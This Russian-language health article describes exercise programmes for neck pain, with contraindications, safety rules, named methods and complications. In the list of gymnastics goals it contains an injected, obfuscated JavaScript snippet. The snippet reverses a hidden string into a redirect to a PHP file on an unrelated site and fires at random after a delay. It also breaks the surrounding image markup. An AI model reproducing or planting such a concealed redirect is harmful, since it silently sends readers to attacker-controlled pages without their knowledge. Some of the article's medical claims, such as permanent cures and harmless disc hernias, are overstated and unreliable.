Боль в шее, иначе именуемая цервикалгией, — неприятное явление, с которым сталкивался каждый человек. Самая частая причина возникновения этого состояния — слабость шейной мускулатуры. При длительном неудобном положении мышцы затекают, что вызывает неприятные ощущения и невозможность поворачивать голову. Для укрепления шейной мускулатуры необходимо ежедневно проводить простую разминку, которая позволит навсегда избавиться от болезненных ощущений.
Содержание
Лечебное действие гимнастики для шейного отдела позвоночника
Лечебная гимнастика — это довольно известный метод медицинской реабилитации, основанный на применении физических упражнений с целью излечения либо устранения последствий какого-либо заболевания. В настоящее время многие врачи рассматривают гимнастику как неотъемлемую часть терапии хронических болезней, по эффективности не уступающую воздействию лекарственных препаратов.
Основные цели и суть лечебной гимнастики
Как и любое лечебное мероприятие, гимнастика ставит перед собой несколько целей. Все они направлены на улучшение общего состояния пациента, избавление от проблемы и дальнейшую профилактику.
Цели лечебной физической гимнастики:
- укрепление мышечного каркаса шеи;
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/07/anatomiya-myshc-shei-728×405.jpg» alt=»Анатомия мышц шеи» width=»728″ height=»405″ /> Мышечный каркас шеи — основная точка приложения лечебной гимнастики
- стабилизация шейного отдела позвоночника;
- предотвращение рецидивов заболевания;
- уменьшение болевого синдрома;
- закрепление полученных результатов.
Эффекты от ежедневных упражнений
Все эффекты от применения лечебной гимнастики можно разделить на краткосрочные (возникающие непосредственно в момент выполнения заданий) и долгосрочные (отдалённые эффекты от тренировок).
Чтобы добиться долгосрочных эффектов, необходимо выполнять упражнения регулярно, не пропуская занятий.
Эффекты лечебной гимнастики — таблица
| Краткосрочные эффекты | Долгосрочные эффекты |
|
|
Кому нельзя заниматься лечебной гимнастикой
Как и любое терапевтическое средство, лечебная физическая культура показана далеко не всем. Некоторым группам людей абсолютно противопоказано выполнение любых нагрузок, так как это может спровоцировать обострение заболевания и усложнить его течение. В случаях, когда предположительный вред от упражнения может превысить пользу, лечебная гимнастика не назначается.
Чтобы узнать, относитесь ли вы к группе риска, необходимо проконсультироваться у своего лечащего врача. Терапевт выдаст справку о состоянии здоровья, определит его группу, что позволит медицинскому реабилитологу сделать вывод о возможности выполнения пациентом физических упражнений.
Заниматься лечебной физкультурой противопоказано при следующих состояниях:
- повышении температуры тела;
- интенсивном болевом синдроме, который не ликвидируется ненаркотическими анальгетиками и противовоспалительными препаратами;
- обезвоживании и общем истощении организма (кахексии);
- первых признаках появления отёка лёгких;
- остро возникших нарушениях мозгового кровообращения (ишемическом или геморрагическом инфаркте головного мозга);
- острой дыхательной недостаточности;
- хронической недостаточности дыхания четвёртой степени;
- хронической сердечной недостаточности третьей и четвёртой степени;
- распаде раковой опухоли;
- недавно перенесённом инфекционном заболевании;
- склонности к образованию кровяных сгустков (тромбозу);
- недавно перенесённом обширном инфаркте миокарда;
- выраженных формах слабоумия;
- тяжёлых психических заболеваниях.
Показания и противопоказания к назначению упражнений
Шея — очень тонкая и чувствительная часть человеческого тела. При повреждении её структур существует возможность возникновения полного паралича. Именно поэтому стоит назначать специальные упражнения для укрепления мышечного корсета только тем, кто действительно в этом нуждается и не имеет противопоказаний для прохождения курса ЛФК.
Показания к назначению упражнений:
- шейный остеохондроз различной степени тяжести;
- вегетососудистая дистония;
- мигрени и частые головные боли различной степени интенсивности;
- восстановление после травм и переломов позвоночника;
- восстановление после длительного ношения корсета;
- нарушения сна: повышенная сонливость, вялость или бессонница;
- хроническая цервикалгия;
- головокружения периферического и централизованного характера;
- искривление позвоночника;
- восстановление после паралича;
- периодические нарушения памяти и концентрации внимания;
- синдром хронической усталости.
С целью профилактики возникновения хронических заболеваний рекомендуется проводить лечебную гимнастику в следующих случаях:
- регулярные спортивные тренировки;
- профессиональные занятия спортивными единоборствами;
- малоподвижный образ жизни;
- длительная работа за компьютером (шесть и более часов в день);
- возраст старше двадцати пяти лет;
- наличие заболеваний позвоночника у ближайших родственников;
- ожирение.
Противопоказания к назначению упражнений:
- обострение шейного остеохондроза;
- опухолевое поражение позвоночника или спинного мозга;
- инородное тело в непосредственной близости от сосудов и нервов;
- артроз тазобедренного сустава;
- грыжи или протрузии межпозвоночных дисков;
- неустановленная причина болезненных ощущений.
Подготовка к выполнению упражнений
Чтобы гимнастика прошла результативно и не принесла неприятных последствий, следует проводить определённый ритуал действий. Правильная методика и соблюдение техники безопасности — главный залог успешного выполнения упражнений.
Условия выполнения упражнений
Занятия лечебной гимнастикой в неподходящих условиях могут закончиться неприятными последствиями: повышенной усталостью, травмой. Чтобы этого избежать, необходимо подготовить комнату и специальную одежду для выполнения гимнастики.
Условия для грамотного проведения лечебной физкультуры:
- хорошо освещённое помещение;
- большая площадь помещения;
- специальный гимнастический коврик;
- удобная спортивная одежда и обувь по размеру;
- проветриваемая комната с вентиляцией;
- зеркало для контроля правильности совершения упражнений.
Техника безопасности
Как и в любом виде спорта, при выполнении гимнастических упражнений могут возникнуть некоторые неприятные моменты. Их можно избежать, соблюдая технику безопасности. При грамотном подходе к выполнению упражнений риск получить травму сводится к минимуму.
Несколько простых правил, выполнение которых позволит избежать неприятных последствий:
- проведение разминки перед началом занятий;
- медленное и плавное выполнение упражнений;
- отдых и соблюдение паузы между подходами;
- строгая очерёдность упражнений;
- точное выполнение упражнений в соответствии с заданием;
- отсутствие скользких поверхностей;
- наличие человека, который сможет подстраховать при проведении упражнения.
Методика выполнения и этапы упражнений
Существует великое множество различных методик, которые позволят убрать боль и восстановить подвижность шейного позвоночного отдела в течение нескольких занятий. Принцип любой лечебной терапии — стадийность и постоянство. Если регулярно и точно выполнять все упражнения, постепенно увеличивая нагрузку, то через полгода от боли в области шеи не останется и следа, а бонусом добавится отличное самочувствие, бодрость и свежесть мысли в любых начинаниях.
Упражнения для шеи по Бубновскому
Бубновский Сергей Михайлович — признанный специалист в области травматологии и ортопедии, а также медицинской реабилитации. Разработанный им курс гимнастических упражнений позволит восстановить тонус шейных мышц, укрепить сухожилия и связки и избавиться от неприятных ощущений в шее.
Чтобы эффект от упражнений не заставил себя ждать, необходимо строго соблюдать все правила проведения гимнастики. Профессор Бубновский рекомендует сначала проконсультироваться со специалистом, и лишь потом прибегать к упражнениям.
Обязательные правила:
- перед началом упражнений нужно произвести лёгкий стимулирующий массаж шеи, разогревая и подготавливая мышцы к нагрузке плавными поглаживающими и щипающими движениями;
- следить за позвоночником и осанкой: при неправильном положении спины упражнения могут нанести вред;
- следить за дыханием: упражнение начинается на вдохе, а заканчивается на выходе возвращением в начальную позицию;
- при появлении резких болезненных ощущений, головокружения, тошноты и потери равновесия необходимо немедленно прекратить упражнения и вызвать доктора или тренера.
Шесть простых упражнений от доктора Бубновского, которые легко выполнить в домашних условиях:
- Исходная позиция — сидя или стоя. Голову нужно наклонить сначала к одному плечу, задержать так около тридцати секунд, после чего очень плавно вернуть в начальную позицию. Далее нужно наклониться к другому плечу. Кратность повторения составит десять-пятнадцать раз.
- Исходная позиция — стоя, ноги широко расставлены. Голова постепенно наклоняется к груди, касаясь её подбородком. После возвращения в начальную позицию необходимо слегка вытянуть шею. Упражнение повторяется до десяти раз.
- Это упражнение помогает разгрузить позвоночник. Голова немного запрокидывается назад (можно использовать мягкий мат или стену в качестве опоры), а затем производятся повороты вправо и влево. Повторять упражнение следует семь-восемь раз.
- При выполнении третьего упражнения нужно поднять руки, сцепить их в замок и при каждом повороте головы тянуться вверх. Рекомендуемое количество повторений — пять раз.
- Исходная позиция — сидя. Правая рука кладётся на левое плечо. Локоть устанавливается под прямым углом к груди. После этого нужно плавно развернуть голову вправо и застыть так на тридцать секунд. Далее упражнение повторить с левой рукой до пятнадцати раз.
- Итоговое упражнение выполняется из положения стоя. Голова опущена, ей проводятся медленные повороты от одного плеча к другому. Повторять пять-семь раз до полного расслабления позвоночника.
Видео: доктор Бубновский рассказывает, как избавиться от боли в шее
Изометрические упражнения по укреплению мышц
Изометрические комплексы упражнений основаны на полном расслаблении шейных мышц без их последующего сокращения. Подобные нагрузки снимают блок, возникший из-за сдавления сосудов и нервов. Неприятные ощущения начнут исчезать через несколько минут после начала занятий.
Существует великое множество изометрических упражнений, но наиболее часто применяются следующие:
- Исходная позиция — на коврике сидя. Сложенные в замок руки упираются в затылок. Голова медленно опускается, а руки не дают ей совершить движение, оказывая небольшое давление. Упражнение обычно повторяется десять-пятнадцать раз, интервал в пять секунд. Эта методика позволит расслабить мускулатуру верхнего отдела шеи.
- Исходная позиция — сидя или стоя. Голова склонена слегка вбок и вниз, подбородок касается груди. Руки, сцепленные в замок, лежат на темени. Далее нужно медленно приподнимать голову, оказывая незначительное давление на неё руками. Кратность выполнения упражнения — двадцать раз.
- Наклоны головы. Голова наклоняется к правому или левому плечу, а рука на противоположной стороне кладётся на область нижней челюсти и препятствует возвращению головы в исходную позицию. Повторять упражнение десять раз.
- Исходная позиция — сидя. Под подбородок подкладываются кулаки. Голова медленно опускается, пытаясь преодолеть сопротивление рук. Упражнение делается двенадцать раз.
- Исходная позиция — сидя на коврике. Руки, согнутые в локтях, опираются на стол, ладошки расположены на лбу. Необходимо медленно двигать голову вперёд, оказывая давление на руки. Повторять десять — двенадцать раз. Это упражнение позволит максимально расслабить шейные мышцы и снять спазм.
Видео: изометрическая гимнастика для шеи от специалиста ЛФК
https://www.youtube.com/embed/nhtojRYbA6s
Гимнастика Норбекова
Мирзакарим Санакулович Норбеков — врач, занимающийся исследовательской деятельностью в области нетрадиционной медицины и реабилитации. С помощью разработанных им методик многие люди навсегда забыли о проблемах с позвоночником и смогли вернуться к повседневному труду всего через несколько недель после начала занятий.
Упражнения от Норбекова, созданные для устранения болевого синдрома:
- Исходная позиция — стоя, руки свободно вытянуты параллельно туловищу. Голова опущена, подбородок медленно скользит по грудной клетке вниз, максимальное мышечное напряжение чередуется с расслаблением. Упражнение повторяется в течение двух-четырёх минут.
- Положение — стоя или сидя, голова слегка откинута назад. Подбородок нужно тянуть вверх до полного мышечного напряжения, а затем расслаблять мышцы, возвращаясь в исходное положение. Рекомендуемое время проведения — одна минута.
- Голова откинута назад. Нужно совершать повороты лица вправо и влево, стараясь тянуть подбородок в ту или иную сторону. Повторить десять-пятнадцать раз в обе стороны.
- Исходная позиция — сидя. Шея по возможности вытягивается вперёд, голова поочерёдно поворачивается в обе стороны, за счёт чего можно ощутить значительное мышечное напряжение. Десять поворотов в обе стороны — оптимальное количество раз для выполнения этого задания.
- Исходное положение — стоя с опорой на стену. Голова из срединной позиции медленно поворачивается в обе стороны, нужно стараться соблюдать прямой угол между подбородком и плечом. Рекомендуется повторять двадцать раз.
- Круговые вращения головой из положения стоя выполняются постепенно в обе стороны. Максимальное количество повторов — пять раз. При появлении тошноты, головокружения или усиления болевого синдрома упражнение нужно немедленно прекратить.
Видео: суставная гимнастика Норбекова
Растяжение шейного отдела позвоночника
Растяжка — обязательный элемент каждого комплекса упражнений. С её помощью мышцы максимально быстро напрягаются и расслабляются, улучшается кровоток и энергетический обмен. Грамотная растяжка обеспечит лёгкое и безболезненное выполнение упражнений.
Упражнения для растяжения:
- Тренировка мышц-сгибателей шеи. Исходная позиция — стоя. Руки согнуты в локтях, лежат на поясе, плечи предельно опущены. Голова слегка запрокинута, подбородок тянется вверх. Длительность упражнения составит две-три минуты.
- Растяжка мышц головы и шеи, участвующих в поворотах. Необходимо положить левую руку выше бровей на лоб. Рука, как рычаг, оказывает давление на голову, склоняя её назад, а затем поворачивает вправо. Потом упражнение нужно воспроизвести с правой рукой и поворотом головы в другую сторону. Кратность повторения десять раз.
- Растяжка мышц-разгибателей шеи. Исходная позиция — с опорой на стену. Левая рука свободно лежит за правым ухом. Пользуясь рукой как рычагом, наклоняют и поворачивают голову. Упражнение необходимо повторять по десять-пятнадцать подходов.
Фотогалерея: выполнение растяжки шеи
-
- Регулярные занятия лечебной гимнастикой укрепляют организм
-
- При назначении курса гимнастики стоит учитывать анамнез заболевания
-
- При соблюдении всех условий можно добиться максимальных результатов за короткое время
-
- Стоит обратить внимание на технику безопасности и условия выполнения упражнений
-
- Гимнастика Бубновского помогает восстановить тонус мышц шеи
-
- Упражнение на растяжку разгибателей снимет мышечное напряжение
-
- Растяжка сгибателей шеи позволит устранить болевой синдром
-
- Растяжка мышц головы и шеи позволит минимизировать нагрузку на плечевой пояс
-
- Релаксация позвоночника позволит снять усталость и мышечное напряжение
-
- Травма шеи — состояние, при котором необходима лечебная гимнастика
-
- Мышечный каркас шеи — основная точка приложения лечебной гимнастики
-
- Хроническая недостаточность кровообращения — следствие сердечных заболеваний
-
- Инфаркт миокарда — участок погибшей сердечной мышцы вследствие закрытия просвета сосуда тромбом или бляшкой
-
- При отёке жидкость накапливается в воздушных полостях лёгких — альвеолах
-
- В основе мигрени лежит расширение и пульсация сосудов головного мозга и его оболочек
-
- Искривление позвоночника приводит к защемлению нервов и появлению других симптомов
-
- Грыжа межпозвоночного диска возникает при разрыве фиброзного кольца
-
- В методике Бубновского используются наклоны и повороты шеи
-
- Разминка — залог успешной тренировки
-
- Упражнения Норбекова тренируют силу мышц шеи
-
- Изометрические упражнения тренируют силу мышц
-
- Упражнения Шишонина благотворно действуют на мышцы шеи
-
- Защемление нервов на уровне шейного отдела может привести к парезу или параличу верхних конечностей
-
- Защемление нервов на уровне шейного отдела может привести к парезу или параличу верхних конечностей
-
- Цигун — древнее китайское искусство поддержания здоровья
-
- Сосудистая сеть головы и шеи берет начало от плечеголовного ствола
-
- Защемление нервов на уровне шейного отдела может привести к парезу или параличу верхних конечностей
-
- Хроническая недостаточность кровообращения — следствие сердечных заболеваний
-
- При соблюдении всех условий можно добиться максимальных результатов за короткое время
Видео: растяжка для мышц шеи
Гимнастика Попова
Юрий Попов предлагает всем людям, страдающим от шейного остеохондроза, несколько простых упражнений, способных уменьшить неприятные ощущения и минимизировать боль. Длительность курса составляет четыре недели.
- Исходная позиция — лёжа на кушетке, голова свободно свисает вниз. Нужно медленно и плавно совершать вращения. Количество упражнений постепенно доводится с пяти до десяти раз.
- Исходная позиция — сидя или лёжа на кушетке. Ладони кладутся на область висков, руками нужно осторожно повернуть голову вправо или влево. Кратность повторения упражнений — десять раз.
- Положение с опорой на стенку. На вдохе плечевой пояс поднимается, на выдохе — опускается в исходное положение. Проделать упражнение нужно пятнадцать раз.
- Лёжа на животе нужно провести лёгкий массаж шейных позвонков. Необходимо слабо надавливать на позвонки и растирать мышечные валики шеи. Длительность массажа составляет от пяти до семи минут.
- В положении сидя проводится массаж межлопаточного пространства в течение десяти минут. В результате произойдёт расслабление не только мышц шеи, но и всего плечевого пояса.
Видео: гимнастика от Юрия Попова
Упражнения для укрепления мускулатуры по Шишонину
Доктор Шишонин — выдающийся специалист центра Бубновского. Под его руководством ежедневно проводится множество реабилитационных программ, направленных на восстановление подвижности шейного отдела позвоночника.
- «Метроном»: наклоните голову к правому плечу, зафиксируйте положение на 30 секунд и вернитесь в ИП. Выполните наклон в другую сторону. Повторите упражнение 5 раз, каждый раз фиксируя положение головы.
- «Пружина»: опустите подбородок вниз, зафиксируйте положение на несколько секунд, а затем вытяните его вперёд и слегка вверх (вновь зафиксируйте положение). Повторите 5 раз.
- «Гусь»: ИП — шея выпрямлена, подбородок параллельно полу. Вытяните голову вперёд (подбородок не опускайте и не поднимайте), затем из этого положения поверните голову вправо и потянитесь подбородком к правому плечу. Зафиксируйте положение и вернитесь в ИП. Повторите в другую сторону. Выполните цикл 5 раз.
- «Взгляд в небо»: поверните голову вправо до максимально возможного положения, зафиксируйте положение на 30 секунд. Выполните упражнение в другую сторону. Повторите цикл 5 раз.
- «Рамка»: повторите предыдущее упражнение, но теперь включите в работу плечевой пояс. Для этого положите ладонь правой руки на левое плечо (локоть параллельно полу, ладонь второй руки — на колене), поверните голову вправо, держите напряжение 30 секунд. Поменяйте положение рук и повторите упражнение в другую сторону.
- «Факир»: вновь поменяйте положение рук. Теперь через стороны поднимите их вверх, слегка согните в локтях и соедините ладони над головой. Выполняйте повороты как в предыдущих упражнениях, не забывая фиксировать положение головы.
- «Цапля»: ИП — сидя, руки на коленях, подбородок параллельно полу. Отводите выпрямленные руки вниз и слегка назад, голову при этом тяните вверх. Держите напряжение 30 секунд и возвращайтесь в ИП.
Видео: лечебная гимнастика Шишонина
Гимнастика Цигун
Ещё на заре тысячелетия китайские мудрецы и знахари создали уникальную методику Цигун, направленную на активацию внутренних резервов организма. Тело начинает излечиваться под действием упражнений, что связано с их влиянием на определённые точки.
- Упражнение выполняется в положении стоя или сидя. Ноги расставлены на ширине плеч, руки вытянуты вдоль туловища, глаза закрыты. Необходимо несколько раз медленно вдохнуть и выдохнуть, пропуская через себя поток энергии. Живот и грудная клетка полностью участвуют в дыхании.
- Лёгкий массаж шеи: ладони нужно растереть, чтобы руки стали тёплыми. Мягкими движениями проходятся по всей поверхности шеи, не забывая массировать и затылочные мышцы. Воздействия должны быть плавными, растирающими, идти от центра к периферии. Длительность такого массажа составит пять минут.
- После активации мышц необходимо растереть шейные позвонки, слегка надавливая по их контуру. Главное в этом упражнении — не сдавить слишком сильно и не повредить хрупкие позвонки. Людям с нестабильностью шейного отдела позвоночника этот массаж противопоказан.
- Исходное положение — стоя, руки на поясе. Подбородок по диагонали опускается сначала к правому плечу, затем к левому. Далее голова движется слева направо, рисуя прямую горизонтальную линию, а потом сверху вниз, рисуя вертикаль. Затем подбородок движется вверх и немного влево по диагонали, а потом вверх и вправо. Путём таких движений получается «нарисованный в воздухе» китайский иероглиф.
- Исходная позиция — стоя. Нужно встать на носочки, поднять руки, сцепленные в замок, и голову вверх и по возможности вытянуться «к солнцу». Такое упражнение способствует физиологическому выпрямлению позвоночника.
Видео: гимнастика Цигун
Упражнения для релаксации шейной части позвоночника
После длительного трудового дня и неудобного положения все мышцы нуждаются в отдыхе. Релаксацию шейного отдела позвоночника нужно проводить в спокойной обстановке, не совершая резких движений.
Несколько простых упражнений, которые позволят снять напряжение:
- Медленные и плавные наклоны головы право и влево. Не нужно пытаться дотянуться головой до плеча, цель этого упражнения — максимально расслабить мышцы. Длительность упражнения — двадцать наклонов за три минуты.
- Наклоны головы вперёд и назад. Это упражнение проводится из положения сидя. Голова медленно опускается на грудь и возвращается в исходную позицию. После этого нужно немного откинуть голову назад, не переразгибая её. Повторять десять — пятнадцать раз.
- Положение лёжа на животе, голова слегка свисает с кушетки. Необходимо пролежать в такой позе пять минут для восстановления физиологических изгибов позвоночника.
- Положение лёжа на животе. Руки вытянуты вперёд, голова упирается в коврик. Провести в такой позе две-три минуты для восстановления сил.
Видео: расслабление шейной части позвоночника
Упражнения для реабилитации после травм шеи
Начинать занятия при травме шеи рекомендуется не ранее чем через двадцать дней после снятия специального корсета. Врачи-травматологи определяют время начало реабилитации в зависимости от сложности повреждения. Сейчас существует последовательность выполнения различных комплексов упражнений, которая позволит сократить восстановительный период до минимума:
- Рекомендуется начать с растяжки шейных мышц, чередуя эти упражнения с релаксацией. Это позволит длительно бездействовавшей мускулатуре активировать обменные процессы и значительно улучшит кровоток.
- Через несколько дней можно добавлять изометрические упражнения, направленные на преодоление сопротивления. За техникой исполнения и правильностью движений должен следить врач.
- По прошествии нескольких недель можно подключать гимнастику Шишонина и Норбекова, чередуя эти упражнения с практикой Цигун.
- Завершающим этапом реабилитации после травм позвоночника становится лечебная физкультура Бубновского.
Упражнения, применяемые для лечения шейной миелопатии
Шейная миелопатия представляет собой сдавление спинного мозга в костном канале, что ведёт к появлению интенсивного болевого синдрома. Лечебная физическая культура является неотъемлемым этапом в терапии этой патологии. Различные комплексы упражнений помогут облегчить состояние пациента и улучшить его здоровье в течение короткого времени:
- Специалисты рекомендуют начать с гимнастики Попова, чередуя её с растяжкой шейного отдела позвоночника.
- Через несколько дней интенсивных занятий вводятся упражнения из курса Бубновского и Цигун.
- Параллельно с успешным применением этих упражнений пациенту проводится курс медицинского массажа.
- Завершающий этап лечения предполагает выбор пациентом какой-либо методики, направленной на поддержание положительного результата.
Неприятные последствия и осложнения гимнастики
При несоблюдении правильности выполнения упражнений могут возникнуть неприятные последствия, которые придётся устранять медикаментозным или хирургическим путём. Большинство осложнений потенциально обратимы и не вызовут серьёзных нарушений жизнедеятельности, но встречаются также и совсем тяжёлые случаи.
Причины осложнений:
- нарушение условий и техники безопасности;
- нарушение методики выполнения гимнастики;
- неправильное назначение врача-реабилитолога;
- наличие противопоказаний к гимнастике;
- избыточная нагрузка на организм.
Осложнения лечебной гимнастики:
- нестабильность шейного отдела позвоночника;
- вывих шейных позвонков;
- растяжение мышц шейной группы;
- усиление болевого синдрома;
- защемление нервных стволов;
- появление мышечных блоков;
- появление грыж и протрузий межпозвоночных дисков;
- растяжение и разрыв связок;
- нарушение кровообращения в зоне поражения;
- обострение хронического заболевания.
Мнения специалистов
Господа, заболевания опорно-двигательного аппарата в основной массе связаны с нашим образом жизни. За исключением травмы. Так вот, специалисты центров Дикуля и Бубновского сделали совершенно правильный вывод, что нашу с вами неподвижность надо лечить движением. Прошу заметить, что В.И. Дикуль, С.М. Бубновский — это люди, возглавляющие большие коллективы, которые непосредственно занимаются решением ваших проблем. Отличие по методикам тоже имеет место. Если у С.М. Бубновского делается акцент на физические упражнения, то у В.И. Дикуля нагрузки в зале более щадящие и к ним добавлена сильная лечебно-диагностическая база. Так что выбирайте где вам лечиться, главное, чтобы это было не перед экраном компьютера.
В рекомендациях ВОЗ, сделанных по результатам исследований по принципам Доказательной медицины, сказано о пользе физических упражнений. А вот тип упражнений подбирается специалистом индивидуально (по проблеме пациента и по знаниям врача). Конечно, в большинстве случаев присутствует определённая схема и на каждом этапе схемы есть свои усреднённые методики. Вот в них-то либо вам надо научиться разбираться самому, либо довериться специалисту (и принцип подбора — «принцип разумности» и, к сожалению, присутствует «принцип проб и ошибок»).
Причина болей в спине по Бубновскому: у человека есть глубокие мышцы (они расположены столбом вокруг позвоночника). Они осуществляют питание межпозвонковых дисков и нервных корешков (доставляют туда влагу). Происходит нарушение работы этих мышц (либо в результате травмы, когда происходит мышечный спазм, либо в результате сидячего образа жизни, когда они постоянно находятся в напряжённом состоянии). Итак, в результате нарушения питания высыхает фиброзное кольцо и прорывается грыжа. Однако это ничем вам не грозит, так как сама грыжа не содержит нервных окончаний и задеть корешок не может. А также из-за недостатка влаги происходит воспаление нервного корешка, появляются ноющие в любом положении боли, как правило, в голени. Есть такое понятие, как мышечная память. Она длится 2 суток. Мышцы помнят, как расслабляться. Поскольку при сидячем образе жизни (компьютер, телевизор и т. д.) мышцы спины постоянно напряжены, к тому же ослаблены, в один прекрасный момент вы делаете неловкое движение, глубокие мышцы спазмируются и не расслабляются. Смысл лечения у Бубновского — расслабление глубоких мышц. Расслабление и нормализация их работы есть нормализация питания позвоночника и нервных корешков и исчезновение болей и уменьшение грыжи (специальные клетки — фагоциты — удаляют ненужные организму ткани), однако большая грыжа полностью не исчезнет, вы можете рассчитывать на уменьшение в два раза. Однако это не имеет большого значения, так как сама грыжа никаких болей не причиняет.
Долго размышляя на тему остеохондроза на примере знакомых и собственном, пришёл к выводу, что очень сложно выработать критерии исцеления в случае остеохондроза. Например, можно считать таковым исчезновение боли? Или достижения успеха в определённых движениях? Остеохондроз характерен циклическим течением. У подавляющего большинства знакомых мне остехондрозников он «прошёл» самостоятельно, без каких-либо манипуляций, но это не значит, что он больше не вернётся. Наверняка вернётся, и в гораздо более острой форме. Поэтому судить о методике на основании единичных фактов без статистики, конечно, очень сложно, особенно в случае отсутствия строгих критериев.
Лечебная гимнастика — отличный метод ликвидации боли в области шеи, основанный на активации собственных внутренних сил организма. При регулярном и правильном выполнении упражнений негативные проявления отступят или исчезнут целиком, а организм наполнится бодростью. Перед выбором любой из множества методик ЛФК необходимо посетить врача-реабилитолога.
